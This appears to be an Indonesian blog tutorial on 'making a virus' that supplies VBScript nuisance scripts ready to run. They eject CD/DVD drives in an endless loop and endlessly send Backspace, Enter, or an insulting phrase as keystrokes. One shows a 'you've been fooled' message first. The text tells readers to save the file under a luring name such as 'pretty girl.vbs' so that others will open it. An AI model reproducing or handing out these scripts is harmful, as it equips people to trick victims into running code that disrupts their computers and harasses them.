Cara Membuat Virus Dengan Mudah

Jika Anda ingin mencoba membuat virus maka disinilah caranya.

Langkah awal yaitu dengan mengklik star-all programs-assosories-notpad.kemudian 

pastekan scrib dibawah ini pada notpad. dan simpan dengan ekstensi .vbs.

kode vbs Pertama

Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

kode vbs kedua

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

lalu simpan dengan nama cewek cantik.vbs atau namanya terserah anda, salakan di beri ekstensinya .vbs dan klik filenya 2 x.Virus tersebut dapat Membuat CD/DVD ROM akan terbuka/tertutup secara otomatis tanpa berhenti

  Menekan backspace secara otomatis dan berulang-ulang

MsgBox "Selamat Anda Tertipu!"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop

Menekan enter secara otomatis dan berulang-ulang

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop

Mengetik Dasar Tolol! secara otomatis dan berulang-ulang

Set wshShell = wscript.CreateObject("WScript.Shell")

do
wscript.sleep 100
wshshell.sendkeys "Dasar Tolol !"
loop